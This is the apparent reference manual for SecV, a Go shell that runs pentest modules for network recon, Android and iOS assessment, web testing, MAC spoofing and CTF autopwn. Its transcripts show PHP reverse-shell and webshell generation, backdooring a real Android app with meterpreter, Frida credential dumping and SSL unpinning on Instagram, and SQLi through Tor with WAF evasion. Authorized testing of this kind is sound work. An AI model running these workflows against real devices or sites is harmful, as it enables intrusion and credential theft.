SecV tauri — Official Documentation

The complete reference manual for SecV — a compiled Go shell that runs security modules written in any language. Covers installation, every command, every module, the module architecture, writing your own tools, and the update system.

The Problem With Security Frameworks

Every security framework has the same disease. They ship with a dependency tree the size of a small city, demand you write tools in their language of choice, and bury your actual payloads under three layers of abstraction that don't do anything except make the framework look impressive. Metasploit is Ruby. Empire is PowerShell. Covenant is C#. If your best reconnaissance script is Python and your fastest port scanner is a Bash one-liner, you're either rewriting them from scratch or maintaining a separate workflow outside the framework entirely.

After years of this, the answer turns out to be stupidly simple: the shell doesn't need to care what language your module is written in. It just needs to pass context to a process and stream the output. JSON in on stdin. Results out on stdout. Everything else is your problem to solve in whatever language you're best at.

That's SecV. This is how it works, how to use it, and how to build on top of it. This release is codenamed tauri.

8ms
startup
12MB
memory
2.7MB
binary
any
language

Installation

SecV requires Go 1.21+ to compile. The installer handles everything else — it detects your distribution, installs missing tools, resolves Go module dependencies, compiles the binary, and asks if you want a system-wide install. You do not need to install Go before running the installer; it will prompt you and point you in the right direction if it's missing.

clone and install Bash
$ git clone https://github.com/SecVulnHub/SecV.git $ cd SecV $ chmod +x install.sh && ./install.sh

The installer runs in twelve steps. It checks Python, Java, Android RE tools (aapt, apktool, jadx), the Go compiler, pip, Python dependencies, masscan, then compiles the binary and sets permissions. On Arch Linux it will use yay (or paru/trizen) for AUR packages automatically. At the end it asks whether to symlink the binary into /usr/local/bin/secV so you can run it from anywhere.

To compile manually if you already have Go and have cloned the repo:

manual compilation Bash
$ cd SecV $ go mod tidy $ go build -ldflags="-s -w" -o secV . $ chmod +x secV

First Launch

Run ./secV (or just secV if installed system-wide). The screen clears, the ASCII banner drops, and SecV walks its tools/ directory looking for module.json files. Each one it finds becomes a loadable module. The detected OS is printed below the banner — on Arch you'll see the distribution name and the AUR helper it found (yay, paru, or trizen). This is used later for automatic dependency installation.

startup — Arch Linux with yay SecV
╔═══════════════════════════════════════════════════════════════════╗ ║ ███████╗███████╗ ██████╗██╗ ██╗ ║ ║ ██╔════╝██╔════╝██╔════╝██║ ██║ ║ ║ ███████╗█████╗ ██║ ██║ ██║ ║ ║ ╚════██║██╔══╝ ██║ ╚██╗ ██╔╝ ║ ║ ███████║███████╗╚██████╗ ╚████╔╝ ║ ║ ╚══════╝╚══════╝ ╚═════╝ ╚═══╝ ║ ╚═══════════════════════════════════════════════════════════════════╝ v2.4.1 os cachyos (yay) path /home/user/SecV 7 modules type 'help' for commands secV

The Prompt

The prompt changes state based on whether a module is loaded. Without a module it shows secV ❯. Once you load a module with use, it becomes secV (modulename) ❯. This tells you at a glance what context you're in, and it updates immediately — no need to run any command to refresh it.

Tab completion is active at all times. At the base prompt, Tab shows every available command. After typing use or info followed by a space, Tab shows all loaded module names. After show, Tab completes to modules or options. Command history is saved to .cache/.history and persists between sessions — use the up arrow to recall previous commands.

Command Reference

Every command SecV understands, what it does, and when to use it.

use <module>

Loads a module by name. SecV finds the matching module.json, sets it as the active context, clears any previously set parameters, and prints the module's category and version. Immediately after loading, SecV checks every binary listed in the module's dependencies field using which. If any are missing, it prints them and asks whether to install them automatically using your system's package manager.

loading a module — dependency check on Arch SecV
secV ❯ use android_pentest android_pentest category mobile version 1.0.0 ⚠ missing: adb Install with pacman? [y/N] y installing android-tools... ✓ adb secV (android_pentest) ❯

Module names are case-insensitive. The dependency installer maps binary names to their correct package names per distro — typing adb in the module manifest installs android-tools on Arch, adb on Debian/Ubuntu, and android-platform-tools via Homebrew on macOS. You never need to know the package name, only the binary name.

back

Unloads the current module and clears all set parameters. Returns the prompt to the base secV ❯ state. Use this when you're done with a module and want to load a different one, or just to return to the top level. If no module is loaded, it prints a warning and does nothing.

unloading a module SecV
secV (netrecon) ❯ back secV

set <param> <value>

Sets a parameter for the currently loaded module. Parameters are passed to the module as part of the JSON context under the params key when you run it. Parameter names and values are both strings — the module is responsible for parsing types. Values containing spaces are supported: everything after the parameter name is treated as the value. A module must be loaded before you can set parameters.

setting parameters SecV
secV (android_pentest) ❯ set operation app_scan operation app_scan secV (android_pentest) ❯ set package com.target.app package com.target.app

unset <param>

Removes a previously set parameter. If the parameter name doesn't exist in the current parameter map, it prints a warning. A module must be loaded. Use show options to see what's currently set.

run <target>

Executes the loaded module against the specified target. SecV builds a JSON object with "target" set to your argument and "params" containing all parameters you've set, writes it to the module's stdin, and streams stdout/stderr directly to your terminal. The module's working directory is set to its own folder (where its files live), so relative paths inside the module work correctly. When the module exits, SecV prints the elapsed time.

what gets sent to the module on stdin JSON
{ "target": "device", "params": { "operation": "app_scan", "package": "com.target.app" } }

show modules

Lists all discovered modules, grouped by category. Prints the module name and description for each. Run reload first if you've added new modules since launching SecV.

listing all modules SecV
secV ❯ show modules ──────────────────────────────────────────────────────────── modules ──────────────────────────────────────────────────────────── ctf ──────────────────────────────────────────────────────────── ctfpwn CTF autopwn — syncs 0xb0rn3/CTFs, runs autopwn scripts mobile ──────────────────────────────────────────────────────────── android_pentest Complete Android penetration testing suite... ios_pentest iOS device security assessment via libimobil... network ──────────────────────────────────────────────────────────── mac_spoof MAC address spoofing and rotation netrecon Concurrent multi-engine network profiling wifi_monitor Real-time WiFi host discovery and threat detection web ──────────────────────────────────────────────────────────── websec Full-stack web attack surface tool 7 modules

show options

Displays the currently loaded module's parameters — both what you've already set and what parameters the module supports (from its inputs manifest). Required parameters are marked with an asterisk. A module must be loaded.

checking current options SecV
secV (android_pentest) ❯ show options ──────────────────────────────────────────────────────────── android_pentest options ──────────────────────────────────────────────────────────── Complete Android penetration testing suite... params operation app_scan package com.target.app available operation (string) recon, app_scan, vuln_scan, exploit, network, forensics, full device (string) Android device serial (auto-detected if empty) package (string) Target package name for app-specific operations

info [module]

Shows detailed information about a module — category, version, path, author, description, dependency list, and which dependencies are currently missing on your system. If you run info without an argument while a module is loaded, it shows info for the current module. Pass a module name to inspect any module without loading it first.

search <keyword>

Searches all loaded modules by name, description, and category. Case-insensitive. Useful when you have many modules and can't remember the exact name.

searching for modules SecV
secV ❯ search android android_pentest [mobile] Complete Android penetration testing suite with device... secV ❯ search network netrecon [network] Concurrent multi-engine network profiling mac_spoof [network] MAC address spoofing and rotation

help

Prints the full command reference with a short description of each command, grouped by function. Also shows the note about tab completion being active.

help module

Shows help for the currently loaded module. SecV first tries to run the module with --help and checks whether the output contains a formatted help block (identified by the character). If so, it passes that output through directly. If not, it reads the help section from module.json and renders it: description, parameters, examples, features, and notes. A module must be loaded.

reload

Re-scans the tools/ directory for module.json files and rebuilds the module list. Use this after adding new modules or after pulling an update. After reloading, the tab completer is rebuilt immediately — new module names become available in the use completion list without restarting SecV.

update

Launches the Python-based update system (update.py), which pulls the latest changes from https://github.com/secvulnhub/SecV.git. If the repo isn't initialised as a git repository, the updater initialises it and adds the remote automatically. See the Update System section for the full update workflow.

clear

Clears the terminal screen. That's it. Does not change any state, does not unload any module. The prompt reappears at the top of a clean screen.

exit  /  quit

Exits SecV. The readline library's EOF signal (Ctrl-D) also exits cleanly. No confirmation required. Any set parameters and the loaded module are discarded — SecV does not save session state between runs.

Module: netrecon

Network reconnaissance using four concurrent scan engines. nmap handles service detection and OS fingerprinting. masscan handles raw port discovery at high rates. rustscan combines fast discovery with nmap service detection. arp-scan handles local layer-2 discovery. All four run simultaneously using goroutines; their results are merged into a single host profile per IP address.

After scanning, open services are matched against a built-in CVE database. Matched CVEs are enriched in real time via the NVD REST API v2 — pulling live CVSS scores, severity ratings, and descriptions rather than relying solely on static data. Without an API key, NVD requests are rate-limited to 5 per 30 seconds (6.5 second delay between requests). Set the NVDAPIKEY environment variable to raise this to 50 per 30 seconds.

Apple and iOS Device Detection

iOS devices randomise their MAC address starting from iOS 14 (Private WiFi Address feature), so OUI vendor lookup is unreliable for identifying iPhones. Port 62078 is the lockdownd daemon — it only exists on iOS and macOS devices, and it's open whenever the device is on the network and unlocked. SecV includes port 62078 in every scan preset, so any iPhone or iPad on the network is identified automatically. When port 62078 is open, the host profile is tagged with device_type: iPhone/iPad and os_family: iOS.

In parallel with port scanning, SecV probes mDNS via avahi-browse to pull Bonjour hostnames and confirm device types from service records — useful for getting the device's actual hostname even when DNS reverse lookup returns nothing.

Port Presets

The ports parameter accepts a preset name or a custom port spec. All presets include port 62078 so Apple/iOS devices are always detected.

PresetPortsUse For
quick21,22,23,25,53,80,443,445,3389,62078Fast first-look at any target
top-100Top 100 most common + 62078General network mapping
top-1000Top 1000 most common + 62078Thorough subnet sweep
commonKey services + 62078Explicit common port list
web80,443,8000–8443,9000–9200,3000Web application discovery
databaseMySQL,MSSQL,PostgreSQL,Redis,Mongo,etc.Database exposure check
ios62078,5000,7000,548,3689,49152,88,5353Apple/iOS focused scan
all1–65535Full port sweep (slow)

Scan Modes

ModeWhat It Does
networkFull subnet scan — host discovery + port scan + service detection + CVE correlation
quickFast sweep with shorter timeouts, fewer ports, no script scanning
passivePassive recon only — DNS, WHOIS, ASN, Shodan — no active port scans
singleDeep scan of one IP — service version detection, optional Nmap scripts
scanning a local network — finding an iPhone SecV
secV ❯ use netrecon netrecon secV (netrecon) ❯ set mode network secV (netrecon) ❯ set ports top-100 secV (netrecon) ❯ run 192.168.1.0/24 scanning 192.168.1.0/24... 192.168.1.107 iPhone/iPad iOS · port 62078 192.168.1.1 router Linux · OpenWRT 192.168.1.241 VM Linux · Kali CVE findings: CVE-2019-0708 192.168.1.2:3389 CVSS 9.8 BlueKeep RDP pre-auth RCE 23.4s

Additional Parameters

ParameterValueEffect
scriptstrue / falseRun nmap vuln scripts (slower, more findings)
shodan_keyAPI key stringEnrich results with Shodan data
timeoutseconds (int)Per-host scan timeout
ratepackets/secmasscan transmission rate
passivetrue / falseDisable active probes entirely
nvd_api_keyAPI key stringHigher NVD rate limit for CVE enrichment

Module: android_pentest

A complete Android security assessment suite. It operates in seven modes covering the full OWASP Mobile Top 10. The module uses ADB for device interaction and apktool/aapt for static APK analysis. CVE checks pull live data from NVD when triggered. Non-ADB attack surface mapping (Bluetooth, NFC, WiFi P2P, network services, WebView, tapjacking) runs without requiring any specific app to be targeted.

Prerequisites
  • USB debugging enabled — Settings → Developer Options → USB Debugging
  • adb installed — SecV installs android-tools automatically on first use
  • Authorization accepted — Tap "Allow" on the device when the ADB authorization dialog appears
  • apktool + aapt — Required for app_scan operation; SecV prompts to install if missing

Operations

OperationWhat It Does
reconDevice fingerprint — model, SDK, patch date, chipset, root status, bootloader, SELinux, screen lock, developer mode, USB debugging, ADB over network, kernel version, build ID
app_scanStatic APK analysis — pulls APK, decodes manifest, scans 50+ dangerous permissions, exported components, WebView config, cleartext traffic, backup flag, debuggable flag, cert analysis, security score 0–100, secret scanning in decompiled smali
vuln_scanFull vulnerability scan — device config weaknesses, 20+ CVE checks (2016–2025) with vendor filtering and NVD live enrichment, wireless attack surface, world-readable files
exploitNon-destructive exploitation — intent injection, SQL injection in content providers, path traversal, exported component manipulation, deep link hijacking, tapjacking, pending intent abuse
networkTraffic analysis — tcpdump capture (requires root), HTTP/HTTPS detection, DNS monitoring, proxy setup
forensicsData extraction — app databases, SharedPreferences, system logs, SMS/contacts (requires root), PII detection, ADB backup
fullAll of the above in sequence — complete report
frida_hookRuntime instrumentation — auto-deploys frida-server via Magisk, SSL unpinning, root bypass, credential dump, method trace. See Advanced Operations.
backdoor_apkPayload injection — msfvenom APK template injection, auto-sign, optional device install, generates handler RC. See Advanced Operations.
objection_patchFrida gadget embed — no root needed at runtime. Uses objection patchapk. See Advanced Operations.
msf_handlerMetasploit handler + msgrpc — manage sessions from secV shell via sessions list / interact / kill. See Advanced Operations.
wan_exposeCloudflare Tunnel — WAN APK delivery + MSF listener, persistent systemd services. See Advanced Operations.

CVE Database (2016–2026)

The CVE check compares the device's Android SDK level and security patch date against a list of known vulnerabilities. Any CVE that the device's version and patch level is susceptible to triggers a live NVD lookup — the result includes the real CVSS v3 score, severity, description, and published date from NVD rather than the static description in the codebase.

CVESeverityVulnerabilityFix
CVE-2025-27363HIGHFreeType heap OOB write — ITW exploitation via crafted fonts2025-03 patch · FreeType ≥2.13.3
CVE-2025-0084HIGHAndroid Framework priv esc via ActivityManagerService2025-01 patch
CVE-2024-45569CRITICALQualcomm WLAN heap OOB — unauthenticated RCE over Wi-Fi (Snapdragon)QSB-2025-01
CVE-2024-44068CRITICALSamsung Exynos m2m UAF — priv esc to root, ITW (Samsung)SMR-Oct-2024
CVE-2024-43047CRITICALQualcomm FastRPC DSP UAF — kernel priv esc, ITW (Snapdragon)ASB-2024-10
CVE-2024-49415HIGHSamsung libsaped heap OOB — RCE via voice audio (Galaxy S24)SMR-Jan-2025
CVE-2024-31317CRITICALZygote RCE via ActivityManager.setProcessMemoryTrimLevel()2024-05 patch
CVE-2024-0044CRITICALrun-as sandbox bypass — arbitrary app data read (Android 12–14)2024-03 patch
CVE-2023-40088CRITICALBluetooth RCE — code exec via crafted BT packet (Android 11–13)2023-12 patch
CVE-2023-21264CRITICALKVM hypervisor priv esc (Pixel/Mali)2023-08 patch
CVE-2023-20963HIGHWorkSource parcel mismatch priv esc2023-03 patch
CVE-2021-0954CRITICALStrandHogg 2.0 — task hijack on all Android <11Android 11+
CVE-2020-0041CRITICALBinder UAF — kernel priv esc, CVSS 9.8Android 9+
CVE-2019-2215CRITICALBinder UAF — exploited ITW by NSO GroupAndroid 10+
CVE-2016-5195CRITICALDirty COW — kernel priv esc via /proc race conditionKernel ≥4.8.3

Secret Scanning

During app_scan, SecV decodes the APK twice using a dual-directory strategy. The first pass decodes with -s (skip smali) to get the binary manifest as text XML and resources. The second pass decodes with --no-res (skip resources) to get the smali bytecode for deep secret scanning. Both output directories are scanned. Pattern matching uses context-anchored regexes — bare hex strings and base64 blocks don't trigger; only values in assignment context (key=, secret=, token=, etc.) are flagged. This eliminates thousands of false positives that plague naive implementations.

PatternDetects
AWS_KEYAKIA... access key IDs
PRIVATE_KEYPEM private key headers
JWTJSON Web Tokens (eyJ...)
GOOGLE_KEYAIza... Google API keys
STRIPE_KEYsk_live_/pk_live_ Stripe keys
GITHUB_TOKENghp_ GitHub personal access tokens
API_KEYapi_key=, apikey= assignments ≥20 chars
PASSWORDpassword=, passwd= assignments ≥8 chars
SECRET_TOKENsecret=, token=, auth_token= assignments ≥16 chars
HARDCODED_KEYkey=, salt=, iv= with hex value 32–64 chars
HARDCODED_B64key=, cert= with base64 value ≥44 chars
PEM_CERTBEGIN CERTIFICATE headers
full application security scan workflow SecV
secV ❯ use android_pentest android_pentest secV (android_pentest) ❯ set operation app_scan secV (android_pentest) ❯ set package com.target.app secV (android_pentest) ❯ run device pulling APK from device... decoding manifest (apktool)... scanning smali for secrets... fetching NVD data for triggered CVEs... [CRITICAL] android:debuggable="true" — app is debuggable in production [CRITICAL] AWS_KEY found in smali: AKIA4EXAMPLE... [HIGH] android:allowBackup="true" — ADB backup enabled [HIGH] cleartext traffic allowed (usesCleartextTraffic) [HIGH] CVE-2024-0044 CVSS 6.7 — run-as sandbox bypass [MEDIUM] 17 exported components without permission protection security score: 23/100 84.2s

Module: ios_pentest

iOS security assessment via libimobiledevice — no Xcode, no Mac required. Connects to the device over USB using the Apple lockdown protocol. The module checks device security posture, enumerates installed applications, reads entitlements, checks ATS configuration, and looks for jailbreak indicators. CVE checks compare the device's iOS version against a database of known vulnerabilities, then enriches triggered entries with live NVD data.

Prerequisites
  • libimobiledevice — Install via pacman: sudo pacman -S libimobiledevice
  • USB connected + trusted — Plug in the device, tap "Trust This Computer" when prompted
  • Developer Mode (iOS 16+) — Settings → Privacy & Security → Developer Mode
  • ideviceinfo working — Run ideviceinfo to verify the connection before starting

Operations

OperationWhat It Does
reconDevice identification — model, iOS version, build, architecture, ECID, serial, WiFi/BT MAC, activation state, developer mode status
securitySecurity posture — passcode/biometric status, encryption, lock screen timeout, developer mode, jailbreak check, security recommendations
appsApp inventory — bundle IDs, display names, versions, entitlements (dangerous entitlements flagged), ATS configuration per app
vuln_scanCVE checks against iOS version + live NVD enrichment + jailbreak exploitation paths
fullAll of the above in sequence

Jailbreak Detection

The jailbreak check looks for file system indicators that exist only on jailbroken devices: Cydia (/Applications/Cydia.app), Sileo, Zebra, Filza, checkra1n artifacts, unc0ver markers, palera1n artifacts, and custom dyld cache locations. It also checks for non-standard sshd and dropbear processes and non-AppStore executable paths. These checks run even on non-jailbroken devices — the purpose is to determine whether the device is jailbroken, not to require that it is.

When a jailbreak is detected, the module documents the additional exploitation paths available: SSH access over USB (port 22 via usbmuxd), full filesystem access, runtime patching via Frida, SSL pinning bypass with objection, and access to the app container filesystem.

iOS 26 and Calendar Versioning

Apple moved to calendar-year versioning starting in 2026. iOS 26 = 2026. All static CVEs in the database have fix versions up to iOS 18.4.1 — they correctly do not trigger on iOS 26 because the fixed version (e.g. (18, 5)) is numerically below the running version (26). For iOS 26 and later, the module automatically runs a live NVD keyword search for "iOS 26 kernel" to catch post-cutoff CVEs with CVSS ≥ 7.0.

CVE Database

CVESeverityVulnerabilityFixed In
CVE-2025-31200CRITICAL 9.8CoreAudio memory corruption, zero-click RCE, ITWiOS 18.4.1
CVE-2025-31201CRITICALRPAC pointer authentication bypass, ITWiOS 18.4.1
CVE-2025-24085CRITICAL 10.0CoreMedia UAF, arbitrary code execution, ITWiOS 18.3
CVE-2025-24201CRITICALWebKit OOB write, sandbox escape, ITWiOS 18.3.2
CVE-2025-24206HIGH 7.7Authentication bypassiOS 18.4
CVE-2025-30456HIGH 7.8Path traversal → root priv esciOS 18.4
CVE-2024-23296CRITICALRTKit OOB write, exploited ITWiOS 17.4
CVE-2024-23225CRITICALKernel memory corruptioniOS 17.4
CVE-2024-23222CRITICALJavaScriptCore type confusion, RCEiOS 17.3
CVE-2023-42917CRITICALWebKit memory corruption, ITWiOS 17.1.2
CVE-2023-42824HIGHXNU kernel priv esc, ITWiOS 17.0.3
CVE-2023-32434CRITICALInteger overflow in kernel, ITWiOS 16.5.1
full iOS assessment workflow SecV
secV ❯ use ios_pentest ios_pentest secV (ios_pentest) ❯ set operation full secV (ios_pentest) ❯ run device connecting to device... iPhone 11 (iPhone12,1) — iOS 26.3.1 — arm64e (A13) developer mode: enabled jailbreak check: no indicators found checking iOS 26 CVEs via NVD live search... [CRITICAL 9.8] CVE-2025-31200 — CoreAudio RCE (NVD live) Published: 2025-05-01 CVSS: 9.8 apps enumerated: 47 [HIGH] com.example.app — com.apple.security.get-task-allow entitlement [HIGH] com.another.app — ATS disabled (NSAllowsArbitraryLoads: true) 43.1s

Module: mac_spoof

MAC address spoofing and rotation for network interfaces. Generates locally-administered unicast addresses (bit 1 set, bit 0 clear in the first byte), applies them to the specified interface, and optionally runs a background daemon that rotates the address at a configured interval. State is persisted so the original MAC can always be restored. Requires root.

MAC rotation every 5 minutes on wlan0 SecV
$ sudo secV secV ❯ use mac_spoof secV (mac_spoof) ❯ set iface wlan0 secV (mac_spoof) ❯ set interval 300 secV (mac_spoof) ❯ run localhost

In tauri, mac_spoof gains vendor OUI spoofing — instead of the default 02:00:00 locally-administered prefix (which any network scanner can spot), you can spoof as a real hardware vendor using OUI prefixes from Apple, Samsung, Intel, Cisco, or Dell. The last three octets are still random, so each rotation looks like a different device from that vendor's pool.

Actions

ActionDescription
startStart background rotation daemon. Uses vendor OUI pool if vendor is set.
stopKill the daemon and restore the original vendor MAC from state.
statusShow current MAC, original MAC, PID, uptime, and rotation count.
vendorApply a single vendor-spoofed MAC without starting a daemon.
restoreRestore the original MAC from state file. Falls back to ethtool -P if no state exists.
historyShow the rotation log for the interface — timestamp, MAC, and how the change was triggered.
ParameterTypeDefaultDescription
ifacestringInterface name or comma-separated list.
all_upbooleanfalseAuto-select all UP non-loopback interfaces.
actionstringstartAction to perform.
intervalfloat30.0Rotation interval in seconds.
vendorstringVendor OUI pool: apple, samsung, intel, cisco, dell.
stealthbooleanfalseOnly rotate on disconnect events instead of a fixed interval.
persistentbooleanfalseWrite a systemd user service so the daemon starts on login.
dry_runbooleanfalsePreview changes without applying.
vendor spoof — look like an Apple device SecV
$ sudo secV secV ❯ use mac_spoof secV (mac_spoof) ❯ set iface wlan0 secV (mac_spoof) ❯ set action vendor secV (mac_spoof) ❯ set vendor apple secV (mac_spoof) ❯ run localhost [+] Spoofed wlan0 → A8:86:DD:3f:a1:c2 (Apple OUI) # start continuous rotation with Apple OUIs secV (mac_spoof) ❯ set action start secV (mac_spoof) ❯ set interval 60 secV (mac_spoof) ❯ run localhost [+] Started wlan0 daemon pid=14832 interval=60s vendor=apple

Module: websec

Full-stack web attack surface tool. DNS/WHOIS/SSL recon, security headers, CORS, cookies, directory brute-force, error-based and time-blind SQLi with WAF evasion, reflected XSS, CSRF, 403 bypass, open redirect, framework CVEs (Jira, AEM, Confluence), WordPress attack surface, WAF fingerprinting, web spidering, and Google dorks. Built-in stealth layer rotates between 20 real browser UA strings, sends full Sec-Fetch-* headers, and supports configurable delay/jitter and proxy/Tor routing. In tauri, websec adds PHP payload generation, msfvenom web payloads, directory fuzzing, and Burp Suite export.

Operations

OperationDescription
reconDNS, WHOIS, SSL cert, robots.txt, Wayback Machine, tech stack
headersSecurity headers audit — HSTS, CSP, X-Frame-Options, Referrer-Policy
corsCORS misconfiguration — wildcard, origin reflection, credentialed requests
cookiesCookie flag audit — Secure, HttpOnly, SameSite
dirsDirectory brute-force with 100+ built-in paths and optional custom wordlist
sqliError-based and time-blind SQLi. Enable WAF evasion with set waf_evasion true.
xssReflected XSS. WAF-evasion variants available.
csrfCSRF token detection across homepage and common form paths
bypass_403403 bypass via header injection and path manipulation
open_redirectOpen redirect via 12+ common redirect parameter names
framework_cvesJira/AEM/Confluence CVE path probing — 15+ known paths
wafWAF fingerprinting — Cloudflare, AWS WAF, ModSecurity, Akamai, Imperva, F5
wordpressWP attack surface — user enum, xmlrpc, plugin detection, version
spiderCrawl site breadth-first, map URLs, forms, JS files
dorkGenerate 18+ Google dork queries and OSINT resource links
sslSSL/TLS version, cipher suites, cert details, expiry
php_payloadGenerate PHP reverse shell, webshell, cmd page, or obfuscated payload
msf_payloadmsfvenom web payloads (php/war/jsp/aspx) with a matching handler.rc
fuzzDirectory/path fuzzing — auto-picks ffuf, gobuster, or dirbuster
burp_exportExport raw HTTP request, Burp scope JSON, and intruder payload list
fullAll checks in one pass
SQLi through Tor with WAF evasion SecV
secV ❯ use websec secV (websec) ❯ set operation sqli secV (websec) ❯ set test_url https://example.com/search?q=test secV (websec) ❯ set stealth true secV (websec) ❯ set proxy socks5://127.0.0.1:9050 secV (websec) ❯ set waf_evasion true secV (websec) ❯ run https://example.com [sqli] testing https://example.com/search?q=test [sqli] proxy: socks5://127.0.0.1:9050 ua: Mozilla/5.0 (Windows NT...) [+] Possible error-based SQLi: "You have an error in your SQL syntax"
PHP payload generation SecV
secV (websec) ❯ set operation php_payload secV (websec) ❯ set php_type all secV (websec) ❯ set lhost 10.10.14.1 secV (websec) ❯ set lport 4444 secV (websec) ❯ run https://example.com [+] Saved: ~/ZX01C/websec/example.com/php_payloads/reverse.php [+] Saved: ~/ZX01C/websec/example.com/php_payloads/webshell.php [+] Saved: ~/ZX01C/websec/example.com/php_payloads/cmd.php [+] Saved: ~/ZX01C/websec/example.com/php_payloads/obfuscated.php

Module: ctfpwn

Pulls github.com/0xb0rn3/CTFs, lists all rooms sorted newest first, and runs standalone autopwn scripts against a target machine. Supports TryHackMe and HackTheBox. Flags are auto-extracted from script output (THM{}, HTB{}, flag{} patterns) and saved to ~/ZX01C/CTF/<room>/ alongside a timestamped run log. Room state is tracked between pulls, so newly added rooms are automatically flagged.

Operations

OperationDescription
listList all CTFs sorted newest first. New rooms since last pull are marked.
pullClone or update the repo and mirror all rooms to ~/ZX01C/CTF/.
latestShow the newest CTF. If a target IP is given, run its autopwn script.
runRun a specific room's autopwn script against the target IP.
infoShow the README and writeup for a room.
searchFull-text search across room names, writeups, and exploit scripts.
newShow rooms added to the repo since the last pull.
ParameterTypeDefaultDescription
operationstringlistOperation to run.
ctfstringRoom name — case-insensitive, partial match. simple matches simplectf.
platformstringTHMPlatform filter: THM, HTB, or ALL.
querystringSearch term for the search operation.
run latest CTF against target SecV
secV ❯ use ctfpwn secV (ctfpwn) ❯ set operation pull secV (ctfpwn) ❯ run none [+] Synced 0xb0rn3/CTFs 25 THM rooms, 0 HTB rooms [+] 2 new rooms since last pull: Biohazard, AttacktiveDirectory secV (ctfpwn) ❯ set operation latest secV (ctfpwn) ❯ run 10.10.85.42 [+] Latest: Biohazard (THM) added 2026-04-23 [*] Running autopwn against 10.10.85.42 ... [FLAG] THB{b10h4z4rd_c0mpl3t3} [+] Log saved: ~/ZX01C/CTF/Biohazard/run_20260504_143012.log
search for SSTI-related rooms SecV
secV (ctfpwn) ❯ set operation search secV (ctfpwn) ❯ set query ssti secV (ctfpwn) ❯ run none [search] ssti [+] Rabbit_Store — found in exploit.py [+] Silver_Platter — found in README.md

Module: wifi_monitor

LAN host discovery, async port scanning, device fingerprinting, and CVE lookup for the hosts on your network. Uses ARP via scapy when root is available, falls back to TCP-ping when it isn't. Open ports get banner-grabbed and matched against known service signatures to identify device type and OS. CVEs are pulled from the CIRCL API based on the service banners and cached locally for 24 hours. Threat flags go up for exposed databases, cleartext protocols, and legacy SSH versions.

Parameters

ParameterTypeDefaultDescription
modestringscanscan — discover hosts then port-scan. discover — host discovery only.
portsstringdefaultComma-separated ports or range (22,80,443 or 1-1024). default uses a 23-port common set.
port_scanbooleantrueRun port scan on each discovered host. Set to false for discovery-only.
cve_lookupbooleantrueLook up CVEs via CIRCL API from banner data. Requires internet.
timeoutfloat3.0ARP or TCP probe timeout per host in seconds.
concurrencyinteger100Concurrent port probe workers per host.

Target is the CIDR or single IP passed to run. WiFi interface is not required — wifi_monitor works on any network reachable from the machine. For ARP discovery the process needs root; without it the module falls back to TCP-ping and still finds most hosts.

full scan — discover, port-scan, CVE lookup SecV
$ sudo secV secV ❯ use wifi_monitor secV (wifi_monitor) ❯ run 192.168.1.0/24 [*] ARP discovery on 192.168.1.0/24... [+] 192.168.1.1 — router (Cisco OUI) ports: 22/SSH-OpenSSH_8.9, 80/HTTP-nginx/1.24 [+] 192.168.1.42 — NAS ports: 445/SMB, 5000/HTTP-DSM-7.2 [!] 192.168.1.42:22 — legacy SSH banner (OpenSSH <7.4) [!] 192.168.1.42:445 — SMB exposed on LAN [CVE] CVE-2023-38408 — OpenSSH <9.3p2 remote code execution (CVSS 9.8)
quick discovery only — no port scan SecV
secV (wifi_monitor) ❯ set port_scan false secV (wifi_monitor) ❯ run 10.0.0.0/24 [*] TCP-ping discovery on 10.0.0.0/24... [+] 10 hosts up 10.0.0.1 10.0.0.5 10.0.0.10 10.0.0.15 ...

Advanced Operations — android_pentest

Beyond recon and static analysis, android_pentest includes five runtime attack operations: Frida hooking, APK backdooring, objection patching, a Metasploit handler manager, and WAN payload delivery via Cloudflare Tunnel. Each operation writes structured JSON results to the work directory and exposes session management directly from the SecV shell.

frida_hook — Runtime Instrumentation

Auto-downloads the matching frida-server binary for the device architecture, pushes it via ADB, starts it as root through Magisk, then attaches a generated JavaScript hook script to the target app. Requires a rooted device. No manual frida-server setup needed.

ParameterValuesDescription
packagecom.example.appTarget app package (required)
hook_modeall · ssl_unpin · root_bypass · dump_creds · traceWhich hooks to inject. Default: all
hook_timeoutintegerSeconds to stay attached. Default: 30
trace_methodclass substringUsed with hook_mode=trace — traces all matching classes
SSL unpin + credential dump on Instagram SecV
secV ❯ use android_pentest secV (android_pentest) ❯ set operation frida_hook secV (android_pentest) ❯ set package com.instagram.android secV (android_pentest) ❯ set hook_mode ssl_unpin secV (android_pentest) ❯ set hook_timeout 60 secV (android_pentest) ❯ run device [*] frida-server already running on device [*] Attaching frida to com.instagram.android (mode=ssl_unpin, timeout=60s)... [+] OkHttp cert pinner bypassed: graph.instagram.com [+] TrustManagerImpl.verifyChain bypassed
frida-server auto-download

SecV matches the installed frida-tools version, downloads the correct frida-server-{version}-android-{arch}.xz from GitHub Releases, extracts it, pushes it to /data/local/tmp/frida-server, and starts it via su -c. The binary is cached in the work directory — subsequent runs skip the download. Device must be rooted (Magisk supported).

backdoor_apk — Payload Injection

Pulls the target APK from the device, passes it through msfvenom -x as a template (preserves the original app's UI and functionality), signs the result with an auto-generated debug keystore, and optionally installs it back on the device. Also generates a ready-to-use Metasploit handler RC file.

ParameterValuesDescription
packagecom.example.appApp to backdoor (required)
lhostIP or hostnameAttacker address embedded in payload. Auto-detected from default route if blank.
lportintegerListener port. Default: 4444
payloadtcp · http · https · shell · stagelessPayload variant. Default: tcp (android/meterpreter/reverse_tcp)
installtrue / falseUninstall original and install backdoored APK. Default: false
Backdoor ZArchiver with stageless meterpreter SecV
secV (android_pentest) ❯ set operation backdoor_apk secV (android_pentest) ❯ set package ru.zdevs.zarchiver secV (android_pentest) ❯ set payload stageless secV (android_pentest) ❯ set lport 4444 secV (android_pentest) ❯ run device [*] Pulling APK for ru.zdevs.zarchiver... [*] Injecting payload android/meterpreter_reverse_tcp → 192.168.1.5:4444... [*] Signing APK... [*] Backdoor ready. Start handler: msfconsole -q -r ~/.secv/android/.../handler.rc

objection_patch — Gadget Embed (No Root Required)

Uses objection patchapk to embed the Frida gadget (libfrida-gadget.so) directly into the APK's shared library directory. When the patched app launches, the gadget starts automatically and listens for an Objection connection — no frida-server, no root, no persistent device access needed. Useful for testing on non-rooted devices or external devices you can't root.

Patch APK with Frida gadget, then explore at runtime SecV + terminal
